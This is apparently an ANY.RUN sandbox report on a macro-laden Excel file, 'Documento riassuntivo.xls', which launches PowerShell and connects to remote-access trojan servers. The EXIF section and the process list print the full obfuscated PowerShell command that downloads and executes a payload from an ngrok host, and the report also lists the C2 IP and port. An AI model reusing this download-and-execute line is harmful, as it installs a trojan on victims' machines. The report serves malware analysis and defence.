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File name:

Documento riassuntivo.xls

Full analysis: https://app.any.run/tasks/a7e89a5c-ae00-4271-b71a-035f83617c18
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: March 31, 2020, 08:58:48
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
trojan
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sat Feb 29 06:36:38 2020, Security: 0
MD5:

CFA54A2D186ABBE29911C4815CEDA9BF

SHA1:

1D2FD668F46D66CE049130483FD8D5971B6826AE

SHA256:

7F390B8886B684246B8B395B29E237FBB75527FC57994F33FEBF0B8D393A8031

SSDEEP:

6144:ilYkRIPPm3eNCZmbpoahZhC0cixIiG0iMM8WxRsqC9HOcCeItP3A4LI5QUwx:MMDPuwItA4siUw

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 780)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 780)
    • Connects to CnC server

      • powershell.exe (PID: 1872)
      • powershell.exe (PID: 1832)
      • powershell.exe (PID: 3736)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3736)
      • powershell.exe (PID: 1832)
      • powershell.exe (PID: 1872)
  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 3736)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 780)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
CreateDate: 2015:06:05 18:19:34
ModifyDate: 2020:03:31 06:36:38
Security: None
Category: -
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Foglio1
HeadingPairs:
  • Fogli di lavoro
  • 1
CodePage: Windows Latin 1 (Western European)
HyperlinkBase: powershell.exe -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))
CompObjUserTypeLen: 42
CompObjUserType: (Foglio di lavoro di Microsoft Excel 2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe powershell.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
780"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3736"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1832"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1872"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 473
Read events
1 208
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
6
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
780EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6A6A.tmp.cvr
MD5:
SHA256:
3736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COSYP7L162NPBZJ95XHH.temp
MD5:
SHA256:
1832powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CS5OKL3A5H63V2CSNWBE.temp
MD5:
SHA256:
1872powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BGN5F595WWH5N4ET62HW.temp
MD5:
SHA256:
1872powershell.exeC:\Users\admin\AppData\Local\Temp\itext
MD5:C761530ACA358138371EE654F71C9ECC
SHA256:10EFD7EEA6090F3978ECCB892D1545922CEB1F870C0C2021ABA3CDF210876F86
1832powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
1872powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
3736powershell.exeC:\Users\admin\AppData\Local\Temp\itext
MD5:C761530ACA358138371EE654F71C9ECC
SHA256:10EFD7EEA6090F3978ECCB892D1545922CEB1F870C0C2021ABA3CDF210876F86
3736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa6a793.TMPbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
3736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1832
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
US
malicious
3736
powershell.exe
185.244.30.86:8989
malicious
3736
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
US
malicious
1832
powershell.exe
185.244.30.86:8989
malicious
1872
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
US
malicious
1872
powershell.exe
185.244.30.86:8989
malicious

DNS requests

Domain
IP
Reputation
c991d06a.ngrok.io
  • 3.134.196.116
malicious

Threats

PID
Process
Class
Message
Potential Corporate Privacy Violation
ET POLICY DNS Query to a *.ngrok domain (ngrok.io)
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
1832
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
32 ETPRO signatures available at the full report
No debug info